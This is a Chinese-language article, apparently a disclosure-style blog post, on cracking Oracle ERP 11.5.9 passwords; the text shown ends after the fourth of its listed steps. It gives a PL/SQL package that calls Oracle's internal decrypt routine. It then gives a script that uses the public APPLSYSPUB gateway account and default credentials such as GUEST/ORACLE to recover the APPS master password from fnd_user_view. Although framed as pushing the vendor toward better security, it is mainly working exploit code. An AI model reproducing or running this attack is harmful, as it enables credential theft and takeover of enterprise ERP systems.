1. 寫作目的 1
2. 利用Toad或其它pl/sql工具在Oracle ERPDatabase中建立Package,源碼如下...1
(1).建立Package Header1
(2).建立Package Body. 1
3. 取得APPS密碼的步驟 2
4. 通過任何一個User name/password取得APPS密碼的方法 2
5. 通過FND_USER:ENCRYPTED_USER_PASSWORD取得純文字密碼的方法...3
6. 通過上面建立的Package取得所有Oracle ERPApplication User 密碼的方法...3
7. 通過上面建立的Package取得所有Oracle ERPDatabase User密碼的方法...3
8. 刪除第一步建立的Package 3
9. 結論 3
10. 提高Oracle ERP的安全性 4
11. 此程式在Oracle ERP 11.5.9通過Toad測試通過.4
1. 寫作目的
在要不要寫出來讓大家知道這個問題上想了很久, 但一想到遲早密碼破解的方法還是會被人知道的,與其讓少部分人知道,還不如讓大家都知道,事先好作防範.
公布密碼破解方法的目的還是想讓Oracle ERP做得更安全一點,讓我們大家放心的去用,畢竟是幾千萬的東西,現在的安全性顯然還達不到使用者的要求. 想借大家的力量給Oracle施加一點壓力,以將Oracle ERP的各個版本改得安全一點.
2. 利用Toad或其它pl/sql工具在OracleERP Database中建立Package,源碼如下
(1).建立Package Header
- CREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USER
-
- AS
-
- FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
-
- RETURN VARCHAR2;
-
- END CrackPwd;
(2).建立Package Bdy
- CREATE OR REPLACE PACKAGE BODY CrackPwd
-
- AS
-
- FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
-
- RETURN VARCHAR2
-
- AS
-
- LANGUAGE JAVA
-
- NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
-
- END CrackPwd;
-
- /
-
3. 取得APPS密碼的步驟
假設現在什麼Oracle erp許可權都沒有,怎麼去知道oracle erp databaes的許可權呢?我們知道Oracle erp提供了一個database的公用賬戶(gateway user),此賬戶擁有database的最小許可權,這個公用帳號是: APPLSYSPUB/PUB(oracle erp網頁中或URL中都有公開此賬戶),雖然此賬戶沒有什麼許可權,但卻有FND_USER_VIEW的查詢許可權,通過這個view可以看到erp中所有的user和其ENCRYPED_FOUNDATION_PASSWORD欄位,問題就出在這個view的ENCRYPED_FOUNDATION_PASSWORD欄位上, ENCRYPED_FOUNDATION_PASSWORD這個欄位是由APPS的密碼和使用者密碼一起通過密碼編譯演算法得出的結果, 因此只要知道Oracle ERP的解密演算法就可以通過fnd_user中任何一個user的password反查apps的密碼.,而要知道fnd_user中任何一個user的密碼是太簡單的事了,在erp安裝時就預設了很多賬戶,這些賬戶的user name和password都是一樣的,一般沒有人去改這些賬戶的密碼
4. 通過任何一個Username/password取得APPS密碼的方法
- SET SERVEROUTPUT ON
-
- DECLARE
-
- guestUserPwd VARCHAR2(200);
-
- guestUserName VARCHAR2(100);
-
- guestFndPwd VARCHAR2(100);
-
- guestEncFndPwd VARCHAR2(100);
-
- delim NUMBER;
-
- BEGIN
-
- guestUserPwd :='GUEST/ORACLE';--Can any user password
-
- IF guestUserPwd IS NULL THEN
-
- guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD'));
-
- END IF;
-
- delim := INSTR(guestUserPwd,'/');
-
- guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1));
-
- SELECT encrypted_foundation_password INTO guestEncFndPwd
-
- FROM fnd_user_view
-
- WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND
-
- (end_date IS NULL OR end_date > SYSDATE);
-
- guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);
-
- IF NOT (guestFndPwd IS NULL) THEN
-
- DBMS_OUTPUT.put_line(guestFndPwd);
-
- END IF;
-
- END;
注: guestUserPwd :='GUEST/ORACLE';--Can any userpassword
上面這一行可以改成任何一個User的username/password,帳號和密碼之間用”/”隔開
以上程式可以用toad執行